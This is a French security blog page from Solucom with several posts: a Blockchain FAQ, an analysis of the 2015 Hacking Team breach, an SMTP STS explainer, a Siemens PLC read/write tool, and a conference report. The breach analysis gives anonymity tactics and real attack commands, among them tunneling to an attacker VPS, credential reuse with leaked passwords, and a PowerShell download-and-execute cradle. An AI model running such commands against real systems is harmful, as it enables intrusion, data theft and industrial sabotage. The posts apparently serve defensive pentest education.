SecurityInsider
Le blog des experts sécurité Solucom

[FAQ Blockchain] – Posez vos questions aux experts Solucom !


Bonjour à tous,

Un article portant sur la technologie Blockchain et son principe de fonctionnement a été publié sur ce blog. Malgré cet article, vous avez encore des interrogations sur la Blockchain ?

Alors n’attendez plus !
Vous pouvez nous poser vos questions jusqu’à vendredi via l’un des deux moyens suivants :

  • soit dans les commentaires de cet article 
  • soit sur Twitter via le hashtag #BlockchainSolucom

Les experts Blockchain de Solucom apportent des réponses à VOS questions. Celles-ci seront publiées dans un prochain article.

Parmi ces experts, membres du Solucom BlockchainLab, participent notamment :

  • Kamal Bouhouch dispose d’une expertise poussée en pilotage de projets « data » (big data, open data, data analytics). Affichant plus de 10 années d’expérience dans le domaine du conseil, il dispose également d’une forte expertise en analyse d’opportunités Blockchain à destination des métiers.

  • Anne Gautreneau accompagne depuis plus de 15 ans de grands acteurs publics et privés dans la conduite de leurs projets de transformation digitale. Elle intervient plus particulièrement sur les thèmes de l’accompagnement au changement, de la mise en œuvre de méthodes agiles, du management de l’innovation.

  • Matthieu Garin est un expert en risk management et sécurité de l’information avec plus de 10 années d’expérience. Il a notamment travaillé sur de nombreux projets d’architecture de sécurité. Il maîtrise parfaitement tous les aspects de sécurité sous-jacents à la Blockchain.

  • Matthieu Bédel a plus de 18 années d’expérience dans le conseil, dont 13 dans la banque de détail et l’assurance. Il dispose d’une expertise poussée en optimisation de processus et en efficacité opérationnelle. Il intervient notamment sur des problématiques Blockchain liées à la performance des métiers de la banque. 

  • Laurence Al Neimi est une experte du secteur de l’assurance. Plus de 15 années d’expérience dans le conseil lui ont notamment permis d’accompagner Allianz ou BNP Paribas Assurance à la tête de grands programmes de transformation digitale. 

Breaking Hacking team – How to



Bref rappel du contexte : Hacking Team[1] est une entreprise qui conçoit et vend des logiciels malveillants ready-to-use aux gouvernements afin d’espionner les journalistes, activistes, opposants, etc. En Juillet 2015, ils ont été victime d’une attaque qui a exposé leurs données internes (emails, clients, zéro-days, etc.) sur Wikileaks. Des exploit kits ont repris leurs zéro-days, des hackers leurs outils, mais un épais brouillard entourait le mode opératoire de l’attaquant …jusqu’à dimanche dernier en tout cas

En effet, une note[2] publiée le 17 avril 2016 sur Pastebin par la personne prétendant avoir attaquée Hacking team, explique en détail sa démarche, ses outils et les challenges rencontrés. Certes ce type de publication est à prendre avec des pincettes, mais vu la qualité de la note, la cohérence des propos et le niveau technique affiché, cela vaut le détour ne serait-ce que pour deux ou trois astuces.

1.    Stay safe

Mener une attaque réussie requiert en premier lieu une infrastructure qui garantit l’anonymat. L’attaquant décrit sa procédure classique :
  • Location de serveurs privés dans un pays non susceptible de coopérer avec le pays de la cible (paiement en bitcoin) ;
  • Utilisation du réseau Tor afin de se connecter sur ce serveur privé ; 
  • Accès au réseau Tor via le WiFi du voisin ou depuis un espace public dans l’idéal - optionnel; 
  • Utilisation d’un système d’exploitation où tout est routé via Tor (Tails, Whonix, etc.) ;
  •  Déploiement de ce système d’exploitation sur une machine virtuelle hébergée sur une partition chiffrée avec TrueCrypt en Hidden volume.



Toutes les requêtes d’attaque ont été menées depuis le serveur privé qui disposait d’une bande passante suffisante pour mener un scan de port, récupérer 40Go de données de la cible, etc.
Le réseau TOR -disposant d’une faible bande passante - permettait de se connecter sur le serveur privé afin d’exécuter des scripts d’attaque, de reconnaissance, etc.

L’utilisation d’un VPN en amont du réseau TOR peut être une option intéressante mais il est nécessaire de choisir un fournisseur[3] qui ne journalise pas les accès et qui ne serait pas coopératif face à une demande de données :
  • AirVPN ;
  • AzireVPN ; 
  • Proxy.sh ;
  •  

2.    Reconnaissance

Une fois l’infrastructure en place, l’attaque a débuté avec, en premier lieu l’incontournable phase de cartographie afin d’identifier l’ensemble des actifs de Hacking Team exposés sur Internet.
Ceci a été effectué de manière classique via une série de whois, reverse whois,… en partant du nom de l’entreprise, son adresse, le nom du registrar, etc.

Étant de petite taille, Hacking Team n’expose que très peu de serveurs sur leur réseau externe 93.62.139.32 - 93.62.139.47.
  • Site Web sur le CMS Joomla ;
  • Serveur Mail ; 
  • Appliance VPN ;
  • Appliance Anti-Spam.

Dès lors trois options se présentèrent à l’attaquant :
  • Identifier une faille 0-day sur Joomla, un scan via l’outil joomscan n’ayant rien révélé ;
  • Identifier une faille 0-day sur Postfix  - outil populaire d’envoi de mails ;
  • Identifier une faille 0-day sur les boitiers VPN.

3.    La valeur ajoutée d’une appliance

a 0day in an embedded device seemed like the easiest option”, cite l’attaquant dans sa note. Perturbant en effet que de préférer s’attaquer à un système embarqué inconnu plutôt qu’à un CMS dont l’historique en matière de sécurité laisse à désirer. Ceci dit, deux semaines de recherche ont suffi à identifier une vulnérabilité de type injection de code à distance sur l’appliance VPN…

Nous n’avons pas le détail de la vulnérabilité, toutefois nous pouvons imaginer qu’il a suivi l’approche suivante :

  • Identification la version et référence du routeur (mire d’authentification, verbosité des bannières, etc.) ;
  • Téléchargement le firmware ou bien le récupérer via du hardware hacking ; 
  • Fuzzing du firmware et/ou inspection manuelle du code désassemblé ;
  • Découverte de la faille.


Le blog devttys0[4] référence nombre de techniques et d’outils afin de mener ce type d’attaques.
Suite à l’identification de la faille, il affina son exploit en le testant sur d’autres équipements vulnérables. Une fois au point, il le déploya sur Hacking Team et mit à jour le firmware du VPN afin de s’accorder un accès root à distance.
Dès lors, il pouvait se connecter légitimement sur le routeur sans risquer de causer une indisponibilité suite à l’utilisation de l’exploit.

4.    Préparation du camp de base

L’idée, une fois la première machine compromise, était de charger les outils d’attaque sur ce qui allait devenir le camp de base de l’attaque. Puisqu’il s’agissait d’un système embarqué, il lui fallut recompiler l’ensemble des outils classiques pour fonctionner sur le nouveau noyau :

  • busybox : contient tous les outils classiques Unix parce que, je cite -I wanted to feel at home in Hacking Team's network-.
  • Nmap : afin d’effectuer les scans interne ; 
  • Tcpdump : sniffeur réseau afin de récupérer le trafic transitant sur la carte réseau – utile pour récupérer les mots de passe en clair ; 
  • Python : car Ruby ne fait tout simplement pas l’affaire… ; 
  • Responder : outil d’interception des challenges NTLM ;
  • Tgcd : un redirecteur de ports afin contourner le pare-feu en routant le trafic via les ports autorisés (détaillé par la suite).

Le schéma de l’attaque est illustrée dans la figure suivante :



5.    NoAuthentication

Un scan du réseau interne depuis le VPN compromis permit d’identifier des instances de la base MongoDB qui hébergeaient les enregistrement audio et vidéo de leurs activités internes.
Par défaut, cette base de données NoSQL ne requiert pas d’authentification (à l’instar de ses compères par ailleurs) et permit donc à l’attaquant de récupérer l’ensemble des données stockées dessus [5].

6.    Convergence LAN-SAN

Le scan interne révéla un autre élément intéressant : un équipement exposant le port 3260. Ce dernier correspondait à une interface iscsi : un protocole permettant de communiquer avec des systèmes de stockage (SAN) via IP.


Encore une fois, aucune authentification ne protégeait l’accès aux systèmes de stockage ce qui permit à l’attaquant d’accéder à l’ensemble du contenu hébergé dessus.
L’attaquant ne pouvait néanmoins utiliser le VPN compromis pour exécuter les commandes iscsi, car les modules noyaux nécessaires ne pouvaient pas facilement être déployés sur le système embarqué en question.
À ce moment-là, L’attaquant eût recours aux outils de redirection des flux : tgcd, NAT dans iptables, etc.

7.    Tunneling mode

L’idée était d’utiliser le serveur privé de l’attaquant (externe) afin de communiquer en iscsi avec le serveur de stockage (interne), en contournant évidemment le filtrage qui interdisait ce protocole depuis l’externe.
L’attaquant utilisa pour cela l’outil tgcd qui établit un tunnel entre deux machines avec redirection du trafic d’un port vers un autre :

  • Une instance présente sur le serveur privé (externe) tournait en mode Listen sur le port 42838 ;

o   tgcd -L -p 3260 -q 42838 (sur VPS_IP)

  • Une seconde instance présente sur le routeur compromis (interne) se connecta à l’instance externe sur le port 42838, établissant ainsi un tunnel entre les deux machines.

o   tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838 (sur le routeur)

  • De ce fait, le trafic local initié sur le serveur privé  (VPS) à destination du port local 3260 était redirigé vers le port 3260 du SAN de Hacking team en passant par le tunnel.

 

Deux points clés intéressants à propos de cette technique :
Le tunnel est initié par le routeur compromis ce qui permet de contourner les règles de filtrage, qui sont plus généralement plus laxistes envers les flux sortants.
·         Il est possible d’utiliser les outils présents sur le serveur privé sans nécessité de les recompiler;

Pour information une version précompilée de TGCD est disponible sur l’environnement Windows [6] – Merci TDI :)

8.    Récupération des mails

Suite à l’établissement du tunnel, l’utilitaire iscsiadm pouvait être exécuté sur le serveur privé afin de se connecter de manière transparente sur le SAN .
$ iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 127.0.0.1 –login

La commande précédente a créé localement le device /dev/sdb1 qui pointait vers le bloc de données au niveau du SAN.
Il était possible ensuite de monter de manière standard cette partition via vmfs-fuse:
$ vmfs-fuse –o ro /dev/sdb1 /mnt/tmp

Le SAN contenait des sauvegardes de machines virtuelles, dont le serveur de messagerie. S’agissant du format VMDK, il était nécessaire de localiser en premier lieu l’offset de la partition à monter :

$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT
 
L’offset étant de 2048 * 512 = 1048576 il était possible de monter le disque via les commandes :
 
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
 
En parcourant le répertoire monté /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311,
L’attaquant y découvrit le disque VHD d’une sauvegarde du serveur Exchange : 
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

Ceci lui donna donc accès à une partie des mails sauvegardés sur le SAN.


9.    Escalade de privilèges

Ayant accès aux sauvegardes des machines virtuelles, l’attaquant inspecta les clés de registres via cachedump, pwdump, ... à la recherche d’authentifiants : le compte d’administration des serveurs BlackBerry, besadmin ainsi que son mot de passe furent récupérés ainsi.


Il rejoua ces authentifiants via la connexion sur le partage c$ du serveur Exchange (via proxychains afin de rediriger l’ensemble des flux vers un second tunnel)
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'

Bingo, le compte besadmin possédait les privilèges d’administration locale sur le serveur, il était donc possible de déchiffrer les mots de passe présents dans la mémoire du process lsass.exe et ainsi récupérer le compte admin de domaine :



10. Récupération des données

Une fois admin du domaine, l’attaquant s’est amusé à parcourir l’ensemble des partages réseaux et postes de travail à la recherche d’information sensibles.
proxychains smbclient '//192.168.1.230/FAE DiskStation' -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'

Il évoque dans sa note différentes astuces facilitant la récupération d’information, mais qui partagent toutes un seul point commun: Powershell..(avec quelques modules comme PowerTools).

·         Récupération de la liste de l’ensemble des fichiers présents sur tous les partages :
Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
   select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
   select fullname | out-file -append files.txt}

·         Extraction des mails[7] :
New-MailboxExportRequest -Mailbox Administrator -FilePath \\AZUA\Exports\Administrator.pst


·         Récupération des fichiers sharepoint [8]


11. Al ponte

Malgré la quantité de fichiers récupérée sur le domaine Windows, il manquait toujours le golden egg de Hacking Team : le code source de leur outil de surveillance Galileo. Ce dernier, selon la documentation récupérée, serait hébergé sur le réseau Sviluppo. Afin d’y accéder l’attaquant a ciblé les postes des administrateurs Mauro Romeo et Christian Pozzi.

Le poste de Mauro n’exposant pas de ports accessibles, l’attaquant a dû mettre à jour les règles firewall via GPO afin d’autoriser le service WMI, qui contrairement à Psexec laisse peu de traces sur le système et ne déclenche pas d’alertes au niveau des antivirus.
WMI peut être exécuté via un script faisant partie de la bibliothèque Impacket :
wmiexec.py HACKINGTEAM/Administrator:uu8dd8ndd12!@xx.xx.xx.xx

La console WMI présentait une invite de commande qui a été utilisée pour charger du Powershell en mémoire depuis une machine distante afin de contourner l’antivirus :
cmd.exe  /c powershell iex (New-Object Net.WebClient).DownloadString('http:///Machine_compromise_avec_PS_malveillant');

Ce script malveillant peut être un meterpreter, mimikatz, la suite nishang[9], PowerSploit[10], etc.

Une fois sur le poste de Mauro, l’attaquant enregistra les frappes clavier de ce dernier ainsi que son activité sur l’écran. Il découvrit ainsi la présence d’un volume Truecrypt et attendit patiemment que Mauro le déchiffre de plein gré avant d’inspecter son contenu.
Il y trouva un fichier texte contenant un mot de passe[10] qui permettait d’accéder à l’interface Web du serveur Nagios utilisé pour surveiller le réseau de Sviluppo.


12. Récupération du code source de Galileo

L’interface Web divulguait la présence du produit Centreon Entreprise Server. La version déployée présente de multiples failles publiques  (SQLi + Remote Code Execution) qui nécessitent toutefois d’avoir une session active en cours, d’où l’intérêt de la récupération du mot de passe dans l’étape précédente.
Une fois sur le serveur Nagios, l’attaquant avait accès au réseau de développement et put accéder au github privé de l’entreprise. Il réutilisa le mot de passe Windows d’un développeur et accéda ainsi au code source de Galileo.

Game over…

13. Conclusion

Côté Pentest, nous retrouvons dans la démarche présentée beaucoup d’outils et techniques que nous utilisons régulièrement…d’autres un peu moins : bases NoSQL, SAN, WMI, etc.
Au final cela fait un scénario d’attaque intéressant à garder en tête.

Terminons ce focus sur une phrase emblématique de l’attaquant : “ Thanks to hardworking Russians and their exploit kits  […] Almost all of the Fortune 500, with their huge networks, have some bots already inside”.

Références :


Ayoub ELAASSAL

SMTP STS : un effort pour mieux sécuriser les emails


L’échange d’emails fonctionne grâce au fameux protocole historique SMTP (Simple Mail Transfer Protocol). Inventé dans les années 80, celui-ci fait transiter toutes les informations (données et métadonnées) en clair et ce, tout au long de la chaîne de transmission (du poste client émetteur au poste client récepteur en passant par tous les serveurs de messagerie intermédiaires). L’atteinte à la confidentialité et l’intégrité des données est alors possible.
Afin de pallier à ce problème le standard SMTPS (SMTP encapsulé dans un tunnel SSL/TLS) a été inventé en 2002 afin de sécuriser l’échange SMTP. Ce dernier est malheureusement vulnérable aux attaques de type Man in The Middle permettant notamment à un attaquant d’écouter le trafic de manière illégitime.
C’est alors que SMTP STS entre en jeu. Ce nouveau protocole, toujours en cours d’élaboration, devrait enfin permettre de couvrir les risques exposés par SMTP et SMTPS.
Le protocole SMTP, c’est simple et fort !
Le protocole SMTP a été créé pour envoyer des emails, c’est-à-dire transférer des emails vers des serveurs de messagerie. Il se situe au niveau applicatif (couche 7 du modèle OSI), reposant sur TCP (couche 4) pour le transport et utilisant par défaut le port 25.
Voici un exemple d’interaction avec un serveur SMTP (en orange) via telnet. On note son fonctionnement très simple, dépourvu d’authentification et de chiffrement.
telnet smtp.xxxx.xxxx 25
Connected to smtp.xxxx.xxxx.
220 smtp.xxxx.xxxx SMTP Ready
HELO client
250-smtp.xxxx.xxxx
250-PIPELINING
250 8BITMIME      
MAIL FROM: <auteur@yyyy.yyyy>
250 Sender ok
250 Recipient ok.
DATA
354 Enter mail, end with "." on a line by itself
Subject: Test

Corps du texte
.
250 Ok
QUIT
221 Closing connection
Connection closed by foreign host.
Note : le protocole SMTP ne permet pas de rapatrier les emails du serveur de messagerie vers le logiciel client ; les standards POP et IMAP ont été créés dans ce but.
SMTPS, du mieux mais toujours vulnérable
Le standard SMTPS (SMTP avec STARTTLS) a notamment pour objectif d’apporter les améliorations suivantes :
§  l’authentification point à point, c’est-à-dire entre le client et les serveurs et entre les serveurs eux-mêmes ;
§  l’intégrité des données;
§  la confidentialité des échanges.
SMTPS repose sur TCP (sur le port 587) avec l’extension TLS (niveau session, couche 5 du modèle OSI).
En SMTPS, lors de l’initialisation de la connexion, le client demande au serveur s’il supporte TLS. Cela rend le standard vulnérable à des attaques de type « downgrade attack » visant à forcer la non utilisation de TLS, on revient donc sur du simple STMP. Les données étant non chiffrées, leur interception en transit est possible.
Description du mécanisme de « handshake » SMTPS [1] :
D’un point de vue fonctionnel, SMTPS préfère laisser passer un email en clair si un des serveurs ne supporte pas TLS plutôt que de ne pas le transférer. Un choix fait pour simplifier l’adoption de STARTLS et éviter que le déploiement de ce protocole ne vienne bloquer certains internautes dont le fournisseur de messagerie n’aurait pas adopté les nouveaux protocoles de sécurité.
Une autre vulnérabilité de STARTTLS réside dans la vérification du certificat présenté par le serveur : seul prérequis imposé, le certificat présenté doit correspondre à l’enregistrement MX associé au serveur de messagerie. Or, excepté DNSSEC [2] encore très peu déployé aujourd’hui, il n’y a pas de moyen de signer et de vérifier que l’enregistrement MX et le serveur associé appartiennent bien au même domaine. Un attaquant peut donc fournir au serveur expéditeur un faux enregistrement DNS, lui permettant de se positionner en MiTM.
Partant de ces constats, certains des plus grands acteurs du Web (dont Google, Microsoft, Yahoo!, Comcast, LinkedIn, and 1&1 Mail & Media Development) travaillent ensemble afin de mieux sécuriser l’échange d’emails. Ce travail a notamment abouti à l’ébauche du standard SMTPS STS, corrigeant les deux vulnérabilités expliquées précédemment.
SMTP STS, késako ?
Le standard SMTP STS [3] (SMTP Strict Transport Security), fruit du travail d’acteurs majeurs du Web est actuellement en cours d’étude. Il vise à forcer les serveurs de messagerie à déclarer publiquement sur le réseau leur capacité à accepter des connexions sécurisées via TLS ainsi que leurs méthodes de validation des certificats.
En pratique le client vérifie si le serveur supporte TLS et s’il présente un certificat valide (concordance des noms, certificat non-expiré et non révoqué, etc.). Si une de ces conditions n’est pas remplie, l’email n’est pas envoyé et l’utilisateur en est informé. En ce sens, SMTP STS est comparable au protocole HSTS (HTTP Strict Transport Security), destiné à assurer la confidentialité des échanges HTTP.
SMTP STS repose sur quatre composants principaux :
  • La politique sémantique : elle précise la manière dont le support de TLS par le serveur cible doit être vérifié et son certificat validé ;
  • La politique d’authentification : il décrit comment l’authenticité de la politique fournie doit être déterminée (via PKI Web ou DNSSEC) :
  • Le rapport d’échec : il formalise le reporting des erreurs ; exemples de types d’erreurs :
    • Inconsistance entre les enregistrements MX et/ou les noms de domaine et d’hôte ;
    • Certificat invalide (chemin de certification invalide, CA invalide, etc.) ou expiré ;
    • STARTTLS non supporté ;
    • Incapacité à valider les enregistrements DNSSEC.
  • La gestion des échecs : elle détaille la manière dont le serveur expéditeur peut gérer les erreurs.
L’ébauche de ce futur potentiel standard a été soumise à l’IETF (Internet Engineering Task Force) le 18 mars 2016 afin que son contenu soit étudié et approuvé.
Le cas échéant, il pourrait ensuite être mis en œuvre par les différents fournisseurs de services de messagerie.
Conclusion
Le standard STMP STS permettra d’offrir une couche de sécurité plus robuste pour l’échange des emails. Il devrait notamment permettre de se prémunir des attaques de type Man in The Middle actuellement possibles, cela en forçant l’authentification des serveurs de messagerie et l’utilisation de mécanismes de chiffrement.
En d’autres termes, il participe à sécuriser le canal de communication. Il ne restera donc pas moins nécessaire de chiffrer le contenu des emails [4] afin d’en garantir la confidentialité de bout en bout.
Il semble en effet délicat de faire confiance à l’ensemble des grands acteurs du Web et des télécommunications, administrateurs des serveurs de messagerie. Par ailleurs cette recommandation revient simplement à appliquer le principe de défense en profondeur.
Sources :
[4] Chiffrer les pièce-jointes via des logiciels (ex. Zed!, AxCrypt, Encryption Wizard) et/ou les emails (via S/MIME ou PGP par ex.)

Mathieu HARTHEISER

S7comm : un outil de communication avec les Automates Programmables Industriels Siemens

La sécurité des Systèmes d’Informations Industriels (SII) est aujourd’hui au centre des préoccupations dans les entreprises concernées. Ces systèmes permettent une action directe dans le monde « physique » à l’aide d’instructions provenant du monde « logique » et pilotent les outils de production de nombreuses entreprises.

Du fait du manque de sécurité de ces systèmes, de nombreuses attaques ont été recensées dans le monde ces dernières années. La dernière en date ayant eu le plus gros impact est l'attaque du réseau électrique de l'Ukraine en décembre dernier [1]. De nombreuses personnes se sont retrouvées sans électricité suite à une attaque du réseau industriel.

Le plus bas niveau des SI industriels est le réseau de production. Les capteurs et les actionneurs sont reliés aux entrées/sorties des automates industriels. Les protocoles utilisés pour communiquer avec ces automates sont généralement des protocoles propriétaires. Parmi les plus utilisés, on retrouve : Modbus, S7comm, DNP3, Profibus, Hart… Ces protocoles manquent souvent des principales fonctions de sécurité à savoir l’authentification et le chiffrement des flux. Il est donc possible de rejouer des requêtes et de réaliser des actions malveillantes directement sur les automates.  Modbus, protocole de Schneider Electric publiquement documenté et libre de droits, est une norme de référence pour les communications industrielles. De nombreux outils utilisant ce protocole existent pour communiquer avec les automates Schneider :
  •        Le module Metasploit modbusclient [2], permettant de lire et d'écrire sur les coils / registres de l'automate
  •          Le module Metasploit modicon_command [3], permettant d'arrêter / démarrer l'automate à distance
  •          Le module Metasploit modicon_stux_transfer [4], permettant de récupérer / télécharger le code de l'automate
  •          Le script perl mbtget [5], permettant de lire et d'écrire sur les coils / registres de l'automate
  •        La librairie python Pymodbus [6], permettant de communiquer avec des automates Schneider
En revanche, le protocole S7 Communication (S7comm) est quant à lui nettement moins fourni en outils,  bien qu'utilisé par tous les automates Siemens. Il existe cependant la bibliothèque Snap7 [7] ainsi qu'un wrapper Python utilisant ce protocole.
Nous nous sommes ainsi lancés dans le développement d'un nouveau script baptisé « s7comm », permettant facilement de dialoguer avec les automates Siemens.
Présentation de s7comm
s7comm [8] est un script python utilisant la librairie Snap7 permettant de lire et écrire sur les sorties des automates Siemens.
Les différents arguments sont directement spécifiés en ligne de commande, exactement comme pour le script mbtget pour le protocole Modbus :
$ python s7comm.py -a address -m mode -n number -d data ip_address
-a     Adresse à partir de laquelle les données vont être lues / écrites
-m [r|w]     Choix du mode de fonctionnement : lecture ou écriture sur l'automate
-n     Nombre de données à lire / écrire
-d     Données en bit à écrire (exemple 0110) 
Les deux principales fonctions utilisées de la bibliothèque Snap 7 sont les suivantes :
s7.read_area(snap7.types.areas['PA'], 0, start, size)
Cette fonction permet de lire des données sur les sorties de l'automate en utilisant le protocole S7comm. Elle admet quatre arguments :
1.     Le type de données : dans ce cas, il s'agit des sorties numériques (« tout ou rien », tor) de l'automate.
2.     Le numéro de la base de données : dans le cas des sorties numériques, cette option n'est pas utilisée et a donc toujours la valeur 0.
3.     Le byte d'offset : il s'agit du premier byte lu.
4.      Le nombre de bytes à lire.
s7.write_area(snap7.types.areas['PA'], 0, start, data)
Cette fonction permet d'écrire des données sur les sorties de l'automate.
Elle a quatre arguments :
1.     Le type de données : dans ce cas, il s'agit des sorties numériques de l'automate.
2.     Le numéro de la base de données : dans le cas des sorties numériques, cette option n'est pas utilisée et a donc toujours la valeur 0.
3.     Le byte d'offset : il s'agit du premier byte sur lequel on va écrire.
4.     Les données à écrire sous forme de bytearray.

Chaque sortie de l'automate a une valeur sur un bit. Huit sorties peuvent donc être écrites sur un byte. Plusieurs opérations doivent donc être réalisées avant d'envoyer la commande puisque les arguments "address" et "number" donnés en ligne de commande font référence à des bits. Notamment, si le premier bit à lire n'est pas le premier bit du byte, il y a un offset à prendre en compte.
Pour finir, voici deux exemples d'utilisation :
1.     Lecture de 8 bits à partir de l'adresse 0 :
2.      Écriture de la valeur 1 sur 8 bits à partir de l'adresse 0


Conclusion
À travers la publication de l’outil s7comm  comme de cet article, nous souhaitons rappeler la relative facilité à communiquer avec des automates industriels. Un attaquant, une fois arrivé sur le SI industriel, peut directement perturber le procédé industriel. Vos commentaires et contributions sont les bienvenus afin de fiabiliser et d’améliorer cet outil.

Sources :

Thomas DEBIZE & Alexandrine TORRENTS

Compte-rendu de la JSSI 2016


Le mardi 8 mars 2016 s’est tenue la Journée Sécurité des Systèmes d’Informations (JSSI), organisée par l’OSSIR ( Observatoire de la Sécurité des Systèmes d’Information et des Réseaux). Cette édition s’est déroulée comme chaque année au MAS, et avait le thème suivant : « Retour vers le futur : bienvenue en 1984 ? ».
Huit conférences, alternant retours d’expérience, présentations techniques ou organisationnelles, se sont enchaînées, entrecoupées d’un excellent buffet à midi, comme à l’accoutumée.
Après un bref mot introductif du président –et quelques interruptions d’un dénommé Dimitri- la première présentation a eu lieu. 

  • Life of PII, une journée dans la vie de nos données personnelles par Damien Desfontaines (Google)
    Dans cette intervention, l’orateur nous a présenté les différents mécanismes organisationnels et techniques mis en place par Google pour assurer la « privacité » des données que ses clients lui confient. On apprend de manière très intéressante que la problématique des données personnelles est prise en compte dès la création d’un nouveau projet, avec la création d’un document détaillant les données personnelles manipulées et les traitements qui vont leur être effectués ; il s’agit d’un fonctionnement très procéduré que l’on n’imagine pas forcément dans une entreprise telle que Google. De même, des solutions techniques, réutilisables, permettent aux applications de limiter les données personnelles manipulées. Plusieurs centaines de personnes sont dédiées à la gestion des données à caractère personnel chez Google.

  • Retour sur 10 ans d’audit sécurité, par Renaud FEIL (Synacktiv) et Jérémy LEBOURDAIS (ON-X)
    Après avoir effectué un panorama des vulnérabilités fréquemment exploitées en audit par le passé, les deux intervenants ont fait le point sur les nouvelles mesures de sécurité et ont insisté sur l’élévation du niveau de sécurité des produits.
    On regrettera cependant que la présentation se soit focalisé sur l’amélioration des systèmes, mais n’ai pas apporté un regard critique sur les vastes évolutions du côté des ressources de l’attaquant :
    • Le concept de « bug bounty » n’a été abordé que très brièvement ;
    • La vaste disponibilité de supports de formation pour les débutants ;
    • Les progrès considérables sur la connaissance et les mécanismes d’attaque et de persistance sur l’Active Directory ;
    • Le niveau de qualité et de packaging exceptionnel des outils d’attaques d’aujourd’hui, qui facilitent grandement le travail du pentesteur (Metasploit, Empire, …)
  • Retour d'expérience sur la lutte contre le cyber-espionnage (étatique) par Laurent OUDOT (Tehtri-Security)
    Plusieurs situations d’espionnage économique, peut-être étatique ont été détaillées, non sans humour, lors de cette présentation. Des mises en garde et recommandations ont ensuite été formulées sur les bonnes pratiques à appliquer pour –tenter- de se prémunir de ce type d’attaques.

  • De la cyber-surveillance du salarié à la cyber-protection de l’employeur : 15 ans d’évolution de jurisprudence. Et maintenant ? par Me François COUPEZ (ATIPIC)
    L’avocat présente lors de son intervention les différentes règlementations qui imposent la sécurité du système d’information de l’entreprise. En cas de piratage, l’entreprise pourrait faire face à un quadruple peine : conséquences classiques (remédiations, pertes, …), condamnation CNIL, diminution des dommages et intérêt si négligence de la part de l’entreprise en matière de sécurité, et enfin des sanctions pénales.
    L’entreprise doit donc mettre en place une « cybersurveillance », tout en respectant les droits de chacun (CNIL, etc).
    Cette surveillance doit se faire de manière licite afin d’obtenir des preuves opposables. Dans le cas contraire (preuve illicite), l’entreprise pourrait non seulement perdre le procès, mais également risquer un procès en retour en correctionnelle. Il est donc important de s’assurer que les preuves sont obtenues dans le respect des lois, mais également des chartes de l’entreprise.

  • « Surveillance en bande organisée » par Jérémie Zimmermann
    Dans son intervention, le co-fondateur de la Quadrature du Net nous avertissait sur la surveillance généralisée, orchestrée notamment par la NSA. Bien que PRISM soit le programme le plus connu des révélations Snowden, c’est le programme BULLRUN qui a été évoqué par Jérémie Zimmermann. Ce programme visait à affaiblir, de toutes les manières possibles, l’efficacité des moyens de chiffrement utilisés dans le monde. C’est notamment par la règlementation, mais également par la participation à des groupes de travail et de standardisation en tentant d’imposer des choix technologiques moins robustes que s’est effectué ce travail.
    Quelques lueurs d’espoir subsistent pour assurer la confidentialité de ses échanges, et, selon l’auteur, passent par :
    • L’utilisation de logiciel libre, et vérifié ;
    • Sur une plate-forme matérielle de confiance (qui reste à définir);
    • Auto-hébergée, et restant donc sous la maîtrise totale de son propriétaire.
  • Sécurité et AS400 par Sylvain Leconte (Cogicéo)
    Sylvain Leconte nous présentait ensuite un retour d’expérience sur des tests d’intrusions réalisés sur IBM AS400. Cette présentation reprenait les différentes étapes d’un test d’intrusion : identification, énumération, bruteforce, exécution de commandes, élévation de privilèges. Les vulnérabilités les plus couramment rencontrées en test d’intrusion ont été détaillées. Les mots de passe des utilisateurs sont notamment l’un des points faibles (mots de passe triviaux, complexité très faible, …). De même, de nombreuses protections sont contournables et la gestion des droits des utilisateurs est très fréquemment chaotique, permettant d’obtenir des privilèges élevés. Ces premiers résultats, très intéressants, ouvrent la porte à d’autres questions, qui nécessiteront des recherches complémentaires (export des hash utilisateurs, mise en place d’un reverse shell, exécution de code directement depuis un terminal TN5250, etc..).
  • IOT et sécurité Sigfox par Renaud Lifchitz (Digital Security)
    Renaud Lifchitz nous a ensuite présenté la technologie Sigfox, qui permet la communication d’objets « connectés » via une liaison radio nécessitant très peu de ressources. Après une présentation détaillée, en cinq slides, de la société Digital Security, l’intervenant a détaillé le fonctionnement de Sigfox ainsi que des mécanismes de sécurité existants. Aucun mécanisme de chiffrement des données n’est proposé par la solution, ni aucun exemple d’intégration au niveau applicatif ; on peut donc redouter que les industriels peinent à implémenter une telle fonctionnalité. Une clé secrète est cependant présente dans les objets et permet de calculer un HMAC, garantissant l’intégrité des données transmises. Cependant, la faible entropie de ce HMAC pourrait permettre de rejouer certains messages.
  • La cryptographie de Bitcoin, de la confiance à la preuve... par Jean-Luc PAROUTY (CNRS / IBS)
    Après un rappel du fonctionnement de la blockchain, Jean-Luc Parouty a présenté les résultats de ses travaux sur l’utilisation de la technologie blockchain afin d’enregistrer des preuves d’antériorité (exemple : prouver l’antériorité de ces travaux scientifiques). Pour cela, un démonstrateur a été créé. Il permet l’ajout dans la blockchain d’un condensat correspondant au document que l’on souhaite enregistrer. On peut ainsi prouver qu’un condensat a été publié antérieurement, ainsi que l’identité de l’auteur. Il est accessible ici : https://docproof.org/
Vous pouvez retrouver une partie des présentations sur la page dédiée sur le site de l’OSSIR :
Prochain rendez-vous le 12 avril pour la réunion mensuelle !
Arnaud SOULLIE

CERT-Solucom : retour sur l'actualité de la semaine du 7 mars


Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

Le 8 mars s'est tenue la Journée Sécurité des Systèmes d'Information, organisée par l'OSSIR. Sans plus attendre, retrouvez notre compte-rendu de cette journée. Bonne lecture !

